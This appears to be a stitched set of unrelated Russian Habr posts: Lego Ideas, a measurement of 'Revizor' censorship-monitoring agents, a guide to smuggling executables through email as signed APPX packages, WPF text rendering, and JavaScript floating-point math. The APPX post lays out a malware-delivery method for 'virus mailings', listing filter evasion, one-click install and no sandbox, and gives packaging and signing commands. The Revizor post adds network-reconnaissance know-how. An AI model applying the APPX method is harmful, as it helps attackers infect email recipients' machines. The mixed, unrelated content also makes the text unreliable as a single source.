Хабраюзеры, как нормальные гики, любят [Lego](http://habrahabr.ru/search/?q=lego). В кризисные годы для компании с 1993 по 2004 годы именно гики спасли lego, раскупая [Mindstorms](http://mindstorms.lego.com/en-us/default.aspx?icmp=CORUFR16Mindstorms). Компания не стоит на месте и все время придумывает что-то новое, в том числе в области компьютеров, в интернете и в социальных сетях.
Приятно, что любимая нами компания принимает краудсорсинг как современный инструмент.
Короткая история
----------------
Проект был запущен в 2008 году. С тех пор было выпущено всего 3 конструктора:
* [Cинкай 6500](https://ideas.lego.com/projects/211), японцы обожают свою [научную подводную лодку](http://en.wikipedia.org/wiki/DSV_Shinkai_6500), способную погружаться на глубину 6500 метров,
* [Хаябуса](https://ideas.lego.com/projects/439), опять японцы любят свою [космическую станцию](http://ru.wikipedia.org/wiki/Хаябуса_(КА)), которая изучила астероид Итокава и успешно вернулась на Землю с образцами грунта,
* [Minecraft](https://ideas.lego.com/projects/4038)!
Несколько проектов набрали положенные 10 000 голосов, но были отклонены компанией Лего. Например: наборы по фильму «Зомби по имени Шон» и сериалу «Firefly».
Есть несколько проектов, набравших 10 000 голосов, но еще не прошедших проверку компании. Одни из последних: конструктор [марсохода Science Laboratory](https://ideas.lego.com/projects/3431) и [UCS Sandcrawler](https://ideas.lego.com/projects/1786) из «Звездных войн». Но, пожалуй, наиболее привлекательным для жителей Хабра будет конструктор по игре «[Portals](https://ideas.lego.com/projects/18258)»!
Правила
-------
Правила участия следующие:
1. Сначала регистрируемся на сайте, чтобы можно было голосовать, обсуждать и добавлять свои проекты.
2. Потом придумываем свой проект и загружаем на сайт.
3. Как хотим набираем 10 000 голосов из зарегистрированных на сайте (можно регистрироваться через аккаунты на Фейсбуке или Твиттере).
4. Если проект набрал положенные десять тысяч, это еще не значит, что конструктор идет в производство. Команда Лего должна проверить и решить, выпускать или нет.
Конструктор может быть отклонен по нескольким причинам:
* присутствие в сюжете позитивного образа вредных привычек, типа алкоголизма (фильм «Зомби по имени Шон»),
* насилие и прочие не детские радости,
* но главный показатель − отсутствие играбельности.
Все-таки лего − это детские конструкторы, не смотря на то, что многие взрослые продолжают в него играть. Небольшое видео о том, [как это работает](http://www.youtube.com/watch?feature=player_embedded&v=U6yDJA2a4lM#!).
Небольшой обзор проектов
------------------------
Из более 3000 проектов, предложенных пользователями, лишь около 500 набрали более 100 голосов, и около 50 более 1000. Лего изначально поставило планку очень высокую, добиться 10 тысяч голосов весьма трудно. По любому нужна дополнительная кампания в соцсетях. Так поступили фанаты Майнкрафта и создали [отдельное сообщество](http://www.facebook.com/LEGOMinecraft).
Среди проектов довольно много настольных игр, [шахмат](https://ideas.lego.com/projects/131), [реверси](https://ideas.lego.com/projects/17173), [монополий](https://ideas.lego.com/projects/15161), «[Растения против зомби](https://ideas.lego.com/projects/15481)», [Скрабл](https://ideas.lego.com/projects/11292) и всякие [экзотические](https://ideas.lego.com/projects/693).
Есть несколько проектов для фанатов продукции Apple: [магазин](https://ideas.lego.com/projects/10142), автоматический [ларек по продаже айфонов](https://ideas.lego.com/projects/11850), [портрет Джобса](https://ideas.lego.com/projects/1151) и даже конструктор самого [айфона](https://ideas.lego.com/projects/24923). Впрочем, фанаты Андроида тоже продвинули свой [логотип](https://ideas.lego.com/projects/22758) и набрали уже больше 7 тысяч голосов.
Конечно, есть желающие собрать [Wall'e](https://ideas.lego.com/projects/555) с [Евой](https://ideas.lego.com/projects/18739). Есть проекты по «[Людям Икс](https://ideas.lego.com/projects/18262)», по «[Стартрек](https://ideas.lego.com/projects/15739)», «[Скуби Ду](https://ideas.lego.com/projects/14530)», «[Властелину кольца](https://ideas.lego.com/projects/10944)» и даже по программе «[Разрушители легенд](https://ideas.lego.com/projects/13466)». Не обошли стороной и рок-музыку: есть предложение выпустить [минифигурки с рок-звездами](https://ideas.lego.com/projects/13678) и отдельную [матал-группу](https://ideas.lego.com/projects/11370).
Лично мне понравился вот этот [проект](https://ideas.lego.com/projects/14605).
[](https://ideas.lego.com/projects/14605)
В детстве в журнале «Сделай сам» читал про такую игру. Потом не раз она встречалась в «Футураме», а тут можно ведь построить его самому, перестроить и еще играть с детьми. В апреле 2013 года проект набрал 10 000 голосов и, возможно, будет выпущен.
Будет ли российский проект?
---------------------------
Почему бы и нет? Например, у нас есть замечательный самостоятельный культурный продукт «[Кин-дза-дза](http://ru.wikipedia.org/wiki/Кин-дза-дза!)», который может быть реализован в конструкторе и поддержан нашим сообществом.
Или какие-нибудь «Смешарики» могли бы стать конструктором. Правда, есть такая штука, как авторские права, но создатели сериала могут и сами выступить в роли инициаторов проекта.
[DarkDenid](http://habrahabr.ru/users/DarkDenid/) предложил конструктор с Юрием Гагариным. Я думаю, это отличная идея! Прямо сейчас начну собирать и выдвигать проект.
Нет ни каких препятствий. Были бы фанаты, желание и упорство, и все возможно.
Критика проекта
---------------
[](https://ideas.lego.com/projects/8663)
Хотя пока выхлоп проекта не высокий, всего 3 конструктора, проект хорош уже тем, что дарит обратную связь. Дизайнеры лего просматривая предложения могут не взять проект целиком, но какие-то фишки могут натолкнуть на другую идею.
Тем не менее заметно, что наверх пробиваются проекты, которые «лайкают», а не покупают. Я бы предложил Cuusoo попробовать соединить Краудсерсинг с Крайдфандингом, чтобы пользователи голосовали за проект не лайками, а евро и долларами. Потому что расставаясь с кровными деньгами включаются другие системы оценки в голове и картина может выглядеть более реалистичной.
Как распоряжаться этими деньгами − уже вопрос технический. Например, лего может не выплачивать эти деньги автору проекта до запуска, а рассчитываться с ним деталями на прототип. Голосующие не могут требовать деньги назад, но могут вернуть в виде скидки на конструктор, если тот будет выпущен.
Есть и еще момент. Компания пока использует только индивидуальный разум, но не коллективный. Сейчас компания обращается к каждому отдельному автору проекта:
− Дай нам что-нибудь!
А ведь правильнее было бы обратиться к сообществу, как к коллективному разуму, чтобы сообщество дало оценку и критику, и порождало бы идеи. Технически это может выглядеть по-разному, но механизмы есть. Можно сразу предложить тему:
− Как реализовать в конструкторе лего тетрис?
Вопрос не тривиальный, простого ответа на него нет. Но это ведь возбуждает творческие способности! Если вокруг проекта уже целое сообщество, наверняка пользователи согласятся поиграть в эту игру, при чем не обязательно даже обещать призы. Сам процесс участия в таких творческих конкурсах интересен.
Можно проект разбить на этапы: концепция, основная реализация, детали. И на каждом этапе выслушивать предложения от сообщества и ловить отдельные идеи. Повторюсь, все это можно делать без обещаний роялти, здесь ценность не в деньгах, а в причастности.
Немного об истории проекта
--------------------------
Изначально платформа для поиска новых идей [Cuusoo](https://cuusoo.com/) была создана в Японии и напоминает краудфандинговый кикстартер. Разница в том, что платить вперед не надо. Достаточно проголосовать.
Lego присоседилась на домене lego.cuusoo.com, выпустила несколько конструкторов и переехала на свое нынешнее место.
Авторство
---------
Картинки с [официального сайта](https://ideas.lego.com/). Кроме одной, где из минифигурок сделаны пацак и чатланин. Автора не знаю, при необходимости обязательно укажу. Текст [Вадима Галкина](http://vadimgalkin.pp.ru). | https://habr.com/ru/post/154593/ | null | ru | null |
# Сосчитаем агентов «Ревизор»
Не секрет, что за контролем блокировок по списку запрещённой информации в России следит автоматизированная система «Ревизор». Как это работает неплохо написано вот в этой [статье на Habr](https://habr.com/ru/company/cloud4y/blog/347964/), картинка оттуда же:
Непосредственно у провайдера устанавливается [модуль «Агент Ревизор»](https://portal.rfc-revizor.ru/docs/manualHarwareAgent20160229.pdf):
> Модуль «Агент Ревизор» является структурным элементом автоматизированной системы «Ревизор» (АС «Ревизор»). Данная система предназначена для осуществления контроля над выполнением операторами связи требований по ограничению доступа в рамках положений, установленных статьями 15.1-15.4 Федерального закона от 27 июля 2006 года № 149-ФЗ «Об информации, информационных технологиях и о защите информации».
>
>
>
> Основной целью создания АС «Ревизор» является обеспечение мониторинга соблюдения операторами связи требований, установленных статьями 15.1-15.4 Федерального закона от 27 июля 2006 года № 149-ФЗ «Об информации, информационных технологиях и о защите информации» в части выявления фактов доступа к запрещенной информации и получения подтверждающих материалов (данных) о нарушениях по ограничению доступа к запрещенной информации.
>
>
С учётом того что, если не все, то многие провайдеры установили данное устройство у себя, должна была получиться большая сеть из пробников-маяков наподобие [RIPE Atlas](https://atlas.ripe.net/probes/?search=&status=1&af=&country=RU) и даже больше, но с закрытым доступом. Однако, маяк он и есть маяк чтобы посылать сигналы во все стороны, а что если их поймать и посмотреть, что мы поймали и сколько?
Прежде чем считать, посмотрим почему это вообще может быть возможно.
### Немного теории
Агенты проверяют доступность ресурса, в том числе, посредством HTTP(S) запросов, как этот например:
```
TCP, 14678 > 80, "[SYN] Seq=0"
TCP, 80 > 14678, "[SYN, ACK] Seq=0 Ack=1"
TCP, 14678 > 80, "[ACK] Seq=1 Ack=1"
HTTP, "GET /somepage HTTP/1.1"
TCP, 80 > 14678, "[ACK] Seq=1 Ack=71"
HTTP, "HTTP/1.1 302 Found"
TCP, 14678 > 80, "[FIN, ACK] Seq=71 Ack=479"
TCP, 80 > 14678, "[FIN, ACK] Seq=479 Ack=72"
TCP, 14678 > 80, "[ACK] Seq=72 Ack=480"
```
Запрос помимо полезной нагрузки, состоит ещё из фазы установки соединения: обмен `SYN` и `SYN-ACK`, и фазы завершения соединения: `FIN-ACK`.
Реестр запрещённой информации содержит несколько типов блокировок. Очевидно, что если ресурс будет блокироваться по IP адресу или доменному имени, то никаких запросов мы не увидим. Это самые разрушительные типы блокировок, которые приводят к недоступности всех ресурсов на одном IP адресе или всей информации на домене. Существует также тип блокировки «по URL». В этом случае система фильтрации должна разбирать HTTP заголовок запроса, чтобы точно определить что блокировать. А до него, как видно выше, должна случится фаза установки соединения которую можно попытаться отследить, так как скорее всего фильтр её пропустит.
Для этого надо выбрать подходящий свободный домен с типом блокировки «по URL» и HTTP, чтобы облегчить работу системе фильтрации, желательно давно заброшенный, для минимизации попадания постороннего трафика кроме как с Агентов. Эта задача оказалась совсем не сложной, свободных доменов в реестре запрещённой информации достаточно много и на любой вкус. Поэтому домен был приобретён, привязан к IP адресам на VPS с запущенным `tcpdump` и начался подсчёт.
### Ревизия «Ревизоров»
Я ожидал увидеть периодические всплески запросов, что говорило бы на мой взгляд об управляемом действии. Нельзя сказать чтобы я совсем этого не увидел, но чёткой картины определённо не было:
[](https://habrastorage.org/webt/h2/g3/km/h2g3kmutwnwd0okyaeh4n5siymw.png)
Что неудивительно, даже на никому ненужный домен на никогда не используемый IP будет поступать просто масса незапрашиваемой информации, таков современный Интернет. Но к счастью, мне нужны были только запросы конкретного URL, поэтому все сканеры и переборщики паролей быстро были найдены. Также, достаточно просто было понять где флуд по массе однотипных запросов. Дальше я составил частоты появления IP адресов и прошёлся по всему топу вручную отделяя тех кто проскочил на предыдущих этапах. Дополнительно я вырезал все источники которые прислали по одному пакету, их было уже не много. И получилось вот это:
[](https://habrastorage.org/webt/qk/ub/zq/qkubzqtbua5tty6vppqyzx-k5yw.png)
Небольшое лирическое отступление. Чуть больше суток спустя мой хостинг провайдер прислал письмо довольно обтекаемого содержания, дескать на ваших мощностях есть ресурс из запрещённого списка РКН поэтому он блокируется. Сначала я подумал что заблокировали мой аккаунт, это было не так. Потом я подумал что меня просто предупреждают о том, о чём я и так знаю. Но оказалось, что хостер включил свой фильтр перед моим доменом и в итоге я попал под двойную фильтрацию: со стороны провайдеров и со стороны хостера. Фильтр пропускал только концы запросов: `FIN-ACK` и `RST` срезая весь HTTP по запрещённому URL. Как видно из графика выше, после первых суток я стал получать меньше данных, но я всё равно их получал чего вполне хватило для задачи подсчёта источников запросов.
Ближе к делу. На мой взгляд совершенно чётко видно два всплеска каждый день, первый поменьше, после полуночи по Москве, второй ближе к 6 утра с хвостом до 12 дня. Пик не приходится точно на одно и то же время. Сначала я хотел выделить IP адреса попавшие только в эти периоды и каждый во все периоды, исходя из предположения что проверки Агентами выполняются периодически. Но при внимательном просмотре я достаточно быстро обнаружил периоды попадающее в другие интервалы, с другими частотами, вплоть до одного запроса каждый час. Потом я подумал про часовые пояса и что возможно в них дело, потом я подумал что вообще система может быть не синхронизирована глобально. Кроме того, наверняка, свою роль сыграет NAT и один и тот же Агент может сделать запросы с разных публичных IP.
Так как изначальная моя цель не была в точности, я посчитал вообще все адреса которые попались за неделю и получил — **2791**. Количество TCP сессий установленных с одного адреса в среднем по 4, с медианой 2. Топ сессий на адрес: 464, 231, 149, 83, 77. Максимум из 95% выборки — 8 сессий на адрес. Медиана не очень высокая, напомню что по графику видна явная суточная периодичность поэтому можно было ожидать что-то около 4 до 8 за 7 суток. Если выкинуть все единожды встречающиеся сессии то как раз получим медиану равную 5. Но я не смог их исключить по чёткому признаку. Наоборот, выборочная проверка показала, что они имеют отношение к запросам запрещённого ресурса.
Адреса адресами, а в Интернете важнее автономные системы — AS, которых получилось **1510**, в среднем 2 адреса на AS с медианой 1. Топ адресов на AS: 288, 77, 66, 39, 27. Максимум из 95% выборки — 4 адреса на AS. Вот тут медиана ожидаема — один Агент на провайдера. Топ тоже ожидаем — в нём крупные игроки. В большой сети Агенты, наверное, должны стоять в каждом регионе присутствия оператора, не забываем и про NAT. Если взять по странам, то максимумы будут: 1409 — RU, 42 — UA, 23 — CZ, 36 из других регионов, не RIPE NCC. Запросы не из России обращают на себя внимание. Наверное, это можно объяснить ошибками геолокации или ошибками регистраторов при заполнении данных. Или тем что российская компания может иметь нероссийские корни, или иметь иностранное представительство потому что так проще, что естественно имея дело с заграничной организацией RIPE NCC. Какая-то часть несомненно является лишней, но отделить её достоверно сложно, так как ресурс находится под блокировкой, а со вторых суток под двойной блокировкой и большинство сессий представляют собой лишь обмен несколькими служебными пакетами. Условимся на том что это небольшая часть.
Эти числа можно уже сравнивать с количеством провайдеров в России. [По данным РКН](https://rkn.gov.ru/communication/register/license/) лицензий на «Услуги связи по передаче данных, за исключением голоса» — 6387, но это сильно задранная оценка сверху, не все эти лицензии относятся именно к провайдерам Интернет которым нужно ставить Агента. В зоне RIPE NCC похожее число AS зарегистрированных в России — 6230, из которых не все провайдеры. [UserSide делал более строгий подсчёт](https://habr.com/ru/post/345258/) и получил 3940 компаний в 2017 году, и это скорее оценка сверху. В любом случае мы имеем число засветившихся AS в два с половиной раза меньше. Но тут стоит понимать что AS не строго равно провайдеру. У некоторых провайдеров нет своей AS, у некоторых их больше одной. Если предположить что Агенты всё же стоят у всех, значит кто-то фильтрует сильнее остальных, так что их запросы неотличимы от мусора если вообще доходят. Но для грубой оценки вполне терпимо, даже если что-то и потерялось из-за моей оплошности.
### Про DPI
Несмотря на то что мой хостинг провайдер включил свой фильтр начиная со вторых суток, по информации за первый день можно сделать вывод что блокировки работают успешно. Только 4 источника смогли пробиться и имеют полностью законченные HTTP и TCP сессии (как в примере выше). Ещё 460 могут прислать `GET`, но сессия мгновенно обрывается по `RST`. Обратите внимание на `TTL`:
```
TTL 50, TCP, 14678 > 80, "[SYN] Seq=0"
TTL 64, TCP, 80 > 14678, "[SYN, ACK] Seq=0 Ack=1"
TTL 50, TCP, 14678 > 80, "[ACK] Seq=1 Ack=1"
HTTP, "GET /filteredpage HTTP/1.1"
TTL 64, TCP, 80 > 14678, "[ACK] Seq=1 Ack=294"
#Вот это прислал фильтр
TTL 53, TCP, 14678 > 80, "[RST] Seq=3458729893"
TTL 53, TCP, 14678 > 80, "[RST] Seq=3458729893"
HTTP, "HTTP/1.1 302 Found"
#А это попытка исходного узла получить потерю
TTL 50, TCP ACKed unseen segment, 14678 > 80, "[ACK] Seq=294 Ack=145"
TTL 50, TCP, 14678 > 80, "[FIN, ACK] Seq=294 Ack=145"
TTL 64, TCP, 80 > 14678, "[FIN, ACK] Seq=171 Ack=295"
TTL 50, TCP Dup ACK 14678 > 80 "[ACK] Seq=295 Ack=145"
#Исходный узел понимает что сессия разрушена
TTL 50, TCP, 14678 > 80, "[RST] Seq=294"
TTL 50, TCP, 14678 > 80, "[RST] Seq=295"
```
Вариации этого могут быть различны: меньше `RST` или больше ретрансмитов — зависит ещё от того что фильтр посылает исходному узлу. В любом случае это наиболее достоверный шаблон, из которого видно что запрашивался именно запрещённый ресурс. Плюс всегда есть ответ который появляется в сессии с `TTL` большим чем в предыдущих и последующих пакетах.
От остальных не видно даже `GET`:
```
TTL 50, TCP, 14678 > 80, "[SYN] Seq=0"
TTL 64, TCP, 80 > 14678, "[SYN, ACK] Seq=0 Ack=1"
#Вот это прислал фильтр
TTL 53, TCP, 14678 > 80, "[RST] Seq=1"
```
Или так:
```
TTL 50, TCP, 14678 > 80, "[SYN] Seq=0"
TTL 64, TCP, 80 > 14678, "[SYN, ACK] Seq=0 Ack=1"
TTL 50, TCP, 14678 > 80, "[ACK] Seq=1 Ack=1"
#Вот это прислал фильтр
TTL 53, TCP, 14678 > 80, "[RST, PSH] Seq=1"
TTL 50, TCP ACKed unseen segment, 14678 > 80, "[FIN, ACK] Seq=89 Ack=172"
TTL 50, TCP ACKed unseen segment, 14678 > 80, "[FIN, ACK] Seq=89 Ack=172"
#Опять фильтр, много раз
TTL 53, TCP, 14678 > 80, "[RST, PSH] Seq=1"
...
```
Обязательно видна разница в `TTL` если что-то прилетает от фильтра. Но часто может вообще ничего не прилететь:
```
TCP, 14678 > 80, "[SYN] Seq=0"
TCP, 80 > 14678, "[SYN, ACK] Seq=0 Ack=1"
TCP Retransmission, 80 > 14678, "[SYN, ACK] Seq=0 Ack=1"
...
```
Или так:
```
TCP, 14678 > 80, "[SYN] Seq=0"
TCP, 80 > 14678, "[SYN, ACK] Seq=0 Ack=1"
TCP, 14678 > 80, "[ACK] Seq=1 Ack=1"
#Прошло несколько секунд без трафика
TCP, 80 > 14678, "[FIN, ACK] Seq=1 Ack=1"
TCP Retransmission, 80 > 14678, "[FIN, ACK] Seq=1 Ack=1"
...
```
И всё это повторяется и повторяется и повторяется, как видно на графике, точно не один раз, каждые сутки.
### Про IPv6
Хорошая новость — он есть. Я могу сказать достоверно что с 5 различных IPv6 адресов происходят периодические запросы к запрещённому ресурсу, именно то поведение Агентов которое я ожидал. Причём один из IPv6 адресов не попадает под фильтрацию и я вижу полноценную сессию. Ещё с двух я увидел только по одной незавершённой сессии, одна из которых прервалась по `RST` от фильтра, вторая по времени. Итого всего **7**.
Так как адресов мало я подробно изучил все их и оказалось, что собственно провайдеров там всего 3, им можно аплодировать стоя! Ещё один адрес — облачный хостинг в России (не фильтрует), ещё один — исследовательский центр в Германии (есть фильтр, где?). А вот зачем они проверяют по расписанию доступность запрещённых ресурсов вопрос хороший. Оставшиеся два сделали по одному запросу и находятся в не пределов России, причём один из них фильтруется (всё-таки на транзите?).
Блокировки и Агенты это большой тормоз для IPv6, внедрение которого итак движется не очень быстро. Это печально. Те кто решил эту задачу в полной мере могут собой гордиться.
### В заключение
Я не гнался за 100% точностью прошу меня за это простить, надеюсь кто-то захочет повторить такую работу с большей аккуратностью. Для меня было важно понять будет ли в принципе работать такой подход. Ответ — будет. Полученные цифры в первом приближении, я думаю, вполне достоверны.
Что можно было бы ещё сделать и что я поленился сделать — посчитать запросы к DNS. Они не фильтруются, но и не дают большой точности так как работают только для домена, а не для всего URL. Периодичность должно быть видно. Если совместить с тем что видно непосредственно в запросах, то это позволит отделить лишнее и получить больше сведений. Возможно даже определить разработчиков DNS используемых провайдерами и много что ещё.
Я совершенно не ожидал того, что для моего VPS хостер включит ещё и свой фильтр. Может быть это обычная практика. В конце концов РКН присылает запрос на удаление ресурса как раз хостеру. Но меня это не удивило и даже где-то сыграло на пользу. Фильтр работал очень эффективно срезая все правильные HTTP запросы к запрещённому URL, но не правильные, прошедшие до этого через фильтр провайдеров долетали, пусть только в виде концовок: `FIN-ACK` и `RST` — минус на минус и почти получился плюс. Кстати, IPv6 хостером не фильтровался. Конечно это повлияло на качество собранного материала, но всё равно дало возможность увидеть периодичность. Оказалось это важный момент при выборе площадки для размещения ресурсов, не забывайте интересоваться вопросом организации работы со списком запрещённых сайтов и запросами от РКН.
В начале я сравнил АС «Ревизор» с [RIPE Atlas](https://atlas.ripe.net/). Это сравнение вполне оправдано и большая сеть из Агентов может приносить пользу. Например, определение качества доступности ресурса из различных провайдеров различных частей страны. Можно посчитать задержки, можно строить графики, можно это всё анализировать и видеть изменения происходящие как локально так и глобально. Это не самый прямой путь, но используют же астрономы «стандартные свечи», почему не использовать Агенты? Зная (найдя) их стандартное поведение можно определять изменения которые происходят вокруг них и как это влияет на качество оказываемых услуг. И при этом не надо самостоятельно расставлять пробники по сети, их уже поставил Роскомнадзор.
Ещё один момент который я хочу затронуть, каждый инструмент может быть оружием. АС «Ревизор» закрытая сеть, но Агенты сдают всех с потрохами посылая запросы на все ресурсы из запрещённого списка. Заиметь такой ресурс не представляет ровным счётом никаких проблем. Итого, провайдеры через Агентов, сами того не желая рассказывают о своей сети много больше, чем возможно стоило бы: типы DPI и DNS, местоположение Агента (центрального узла и служебной сети?), сетевые маркеры задержек и потерь — и это только самое очевидное. Так же как кто-то может мониторить действия Агентов для улучшения доступности своих ресурсов, кто-то может это делать в других целях и этому нет препятствий. Обоюдоострый и очень многогранный инструмент получился, любой может в этом убедиться. | https://habr.com/ru/post/450362/ | null | ru | null |
# Социальная инженерия с помощью программ Universal Windows Platform (APPX)
**TL;DR**: В APPX-файл Universal Windows Platform можно упаковать обычный exe-файл, который будет запускаться в Windows 10 (сборка 1607 и новее) примерно так же, как обычные exe-файлы. Это можно использовать для атак социальной инженерии, с помощью рассылки через email — почтовые провайдеры не блокируют файлы APPX. Файл должен быть подписан действующей цифровой подписью.
Universal Windows Platform
--------------------------
Universal Windows Platform — (сравнительно) новый стандарт для создания универсальных приложений под Windows 10, Windows 10 Mobile, Xbox One и Hololens. Стандарт появился с выходом Windows 10, и предоставляет API с ограничением привилегий и изоляцией, формат контейнера и метаданных внутри него.
UWP-приложения широко представлены в Microsoft Store. Они самодостаточны, безопасны, не требуют прав администратора для установки, хранят настройки в строго отведённых местах, и могут быть удалены начисто, прямо из «пуска».
UWP — попытка Microsoft избавиться от старых архитектурных подходов к разработке программ: внедрить разделение привилегий так, как это сделано на мобильных платформах, уйти от WinAPI GUI с пиксельной сеткой (для полноценной поддержки экранов любой плотности пикселей).
Программы UWP можно писать на C#, C++, VB и JS, а в качестве GUI-фреймфорка предлагается к использованию XAML, DirectX и HTML.
До недавнего времени, UWP-программы могли быть только изолированными, но в сборке Windows 10 1607 Microsoft реализовала Desktop Bridge — возможность упаковки любых Win32-программ в виде UWP, без использования UWP API, ограничений привилегий и изоляции.
Эта функция открывает простор для атак социальной инженерии.
Формат APPX
-----------
UWP стандартизирует файловый формат APPX — обычный ZIP-архив, с определённой структурой. В APPX-файле должен быть AppxManifest.xml — файл с описанием содержимого пакета, который можно сгенерировать или создать самостоятельно.
В AppxManifest.xml указано название программы, описание, иконка, требуемые привилегии, имя файла для запуска и точка входа внутри него.
Чтобы APPX-файл можно было установить, он должен быть подписан действующей цифровой подписью с возможностью подписи кода, доверенного удостовещяющего центра.
**Пример файла AppxManifest.xml с отключенной изоляцией**
```
xml version="1.0" encoding="utf-8"?
test
test
test
logo.png
```
Самый простой вариант упаковки существующего Win32 exe-файла в appx с помощью Desktop Bridge — написать файл манифеста вручную, и создать appx-контейнер с помощью утилиты makeappx.exe, входящей в состав Windows SDK.
```
makeappx.exe pack /d input_directory /p output.appx
```
Затем подписать с помощью signtool.exe:
```
signtool.exe sign /f "mycert.pfx" /p "123456" /fd sha256 /tr http://timestamp.comodoca.com/?td=sha256 /td sha256 output.appx
```
Преимущества APPX для социальной инженерии
------------------------------------------
APPX-файлы можно использовать в почтовых рассылках, в качестве замены exe-файлам, в случах, когда почтовый сервер фильтрует письма с exe-вложениями.
Установка APPX происходит в один клик, не требует прав администратора. В установщике галочка запуска программы после установки отмечена по умолчанию, и программа сразу запустится, если пользователь её не уберет.
Your browser does not support HTML5 video.
Все популярные почтовые сервисы не блокируют APPX-файлы в приложениях к письму.
У Gmail есть странная особенность: файл должен быть размером больше 4 мегабайт.
Резюме
------
**Преимущества** APPX Desktop Bridge для вирусных рассылок:* Можно использовать «как exe-файл»
* Не накладывает изоляции и ограничений привилегий
* Устанавливается и запускается в один клик
* Не фильтруется почтовыми серверами
**Недостатки**:* Требует сертификата для подписи кода
* Работает только в Windows 10 1609 и новее
Ссылки
------
[Пример файла APPX Desktop Bridge](https://files.catbox.moe/4j8vqy.zip) (с самоподписным сертификатом)
[Инструкция по упаковке APPX](https://docs.microsoft.com/ru-ru/windows/uwp/packaging/manual-packaging-root)
[Инструкция по созданию файла манифеста вручную](https://docs.microsoft.com/ru-ru/uwp/schemas/appxpackage/how-to-create-a-package-manifest-manually)
[Информация о Desktop Bridge](https://docs.microsoft.com/en-us/windows/uwp/porting/desktop-to-uwp-root) | https://habr.com/ru/post/430692/ | null | ru | null |
# WPF 4.0 — Отображение текста
Возможно, для многих этот топик не окажется откровением, но я лично узнал об этом совсем недавно. Однако, многим начинающим разработчикам он может быть полезным.
Как известно, с самого рождения WPF болел проблемами с отображением текста. Особенно это было заметно на не крупных шрифтах (подписи к кнопкам, Labels, ListBoxes итд.) Однако, с выходом версии 4.0 Microsoft серьезно переработали вывод текста и добавили несколько полезных attached properties.
Я не буду останавливаться подробно на рассмотрении всех свойств, а приведу лишь короткий рецепт, как сделать, чтобы ваши контролы в WPF форме отображались с четким текстом. Подчеркну, что он применим к ситуации, когда вы используете стандартные контролы без особых трансформаций, анимаций и огромного текста.
Итак, достаточно добавить следующее свойства в элемент вашего окна:
Результат можно приблизительно увидеть здесь (по клику полное изображение):
[](http://habrastorage.org/storage/habraeffect/a2/b1/a2b19c69197dff2a8d600979fda89409.png)
Приблизительно, потому что скриншот полностью не отображает разницы, на работающем приложении все заметно гораздо лучше.
Для тех, кто хочет подробнее почитать про рендеринг текста в WPF 4.0 есть замечательный блог посвященный исключительно этой теме: [WPF Text Blog](http://blogs.msdn.com/b/text/). Очень советую почитать вот этот пост: [blogs.msdn.com/b/text/archive/2009/08/24/wpf-4-0-text-stack-improvements.aspx](http://blogs.msdn.com/b/text/archive/2009/08/24/wpf-4-0-text-stack-improvements.aspx)
UPD: Коллега посоветовал интересный пост тему рендеринга текста: [www.codinghorror.com/blog/2007/06/font-rendering-respecting-the-pixel-grid.html](http://www.codinghorror.com/blog/2007/06/font-rendering-respecting-the-pixel-grid.html) | https://habr.com/ru/post/109313/ | null | ru | null |
# Устали от глупых шуток о JS? Напишите свою библиотеку
В JavaScript есть немало моментов, вызывающих вопрос «Чего???». Несмотря на то что у большинства из них есть логическое объяснение, если вы вникнете, они всё равно могут удивлять. Но JavaScript точно не заслуживает возмутительных шуток. Например, иногда мы видим такие шутки:
[](https://habr.com/ru/company/skillfactory/blog/535138/)
В этом случае критика абсолютно не заслужена. Давайте разбираться почему.
---
JavaScript, как и *какой-либо другой популярный язык программирования*, представляет числа, использующие единый стандарт. Если быть точным, это [стандарт IEEE 754](https://standards.ieee.org/standard/754-2008.html) для чисел в 64-битном двоичном формате. Давайте попробуем проверить эту же шутку на других языках:
Как насчёт Ruby? *На каком языке 0.1 + 0.2 не равно 0.3?*
```
$ irb
irb(main):001:0> 0.1 + 0.2 == 0.3
=> false
irb(main):002:0> 0.1 + 0.2
=> 0.30000000000000004
```
Ruby! Какой глупый язык.
Или Clojure? *На каком языке 0.1 + 0.2 не равно 0.3?*
```
$ clj
Clojure 1.10.1
user=> (== (+ 0.1 0.2) 0.3)
false
user=> (+ 0.1 0.2)
0.30000000000000004
```
Clojure! Какой глупый язык.
Или как насчёт могучего Haskell? *На каком языке 0.1 + 0.2 не равно 0.3?*
```
$ ghci
GHCi, version 8.10.1: https://www.haskell.org/ghc/ :? for help
Prelude> 0.1 + 0.2 == 0.3
False
Prelude> 0.1 + 0.2
0.30000000000000004
```
Haskell! Хахаха. Какой глупый язык…
Вы поняли мысль. Проблема здесь не в JavaScript. Это большая проблема представления чисел с плавающей точкой в двоичном виде. Но я не хочу пока вдаваться в подробности IEEE 754. Потому что, если нам нужны произвольные точные числа, JavaScript делает их возможными. С октября 2019 года BigInt официально входит в [стандарт TC39 ECMAScript](https://tc39.es/ecma262/#sec-bigint-objects).
Зачем беспокоиться об этом?
---------------------------
Мы продержались с IEEE 754 целую вечность. Большую часть времени это не кажется проблемой. Правда. Почти всегда это не проблема. Но иногда это всё-таки проблема. И в такие моменты хорошо иметь варианты.
Например, в начале этого года я работал над библиотекой диаграмм. Хотел нарисовать свечные графики на SVG. А в SVG есть такая аккуратная функция, называемая [transform](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/transform). Вы можете применить её к группе элементов, и она изменит систему координат для этих элементов. Так что с небольшой осторожностью вы можете упростить генерацию области диаграммы. Вместо того чтобы вычислять координаты графика для каждой свечи, вы указываете одно преобразование. А затем определяете каждую свечу, используя значения сырых данных. Очень аккуратно. По крайней мере в теории.
Но в тестах свойств у меня были проблемы. Если бы график был маленьким, а значения данных были большими, я бы получил ошибки округления. И зачастую это нормально. Но на графике некоторые пиксели должны выстраиваться в линию. Иначе рисунок выглядит неправильно. Так что я начал изучать BigInt. Итогом стала библиотека, которую я назвал Ratio. И я покажу, как она пишется.
Класс дроби
-----------
Проблема с числами с плавающей точкой — их двоичное представление. Компьютеры выполняют все свои вычисления в двоичном виде. И для целых чисел эта двоичность подходит. Проблема приходит, когда мы хотим представить десятичные числа. Например, в англоязычных странах, таких как Австралия, мы пишем десятичные числа следующим образом:
Часть слева от точек (… ) — это целая часть, а справа от точки — дробная часть. Но проблема в том, что некоторые числа имеют дробные части, которые нелегко разделить на две. Так что их трудно представить в двоичном виде. Но та же проблема возникает при основании 10. Например дробь 10/9. Можно попробовать написать что-нибудь вроде этого:
Однако это приближение. Чтобы представить 10/9 точно, единицы должны быть бесконечными. Поэтому мы должны использовать какую-то другую нотацию для представления повторяющихся. Например такую:
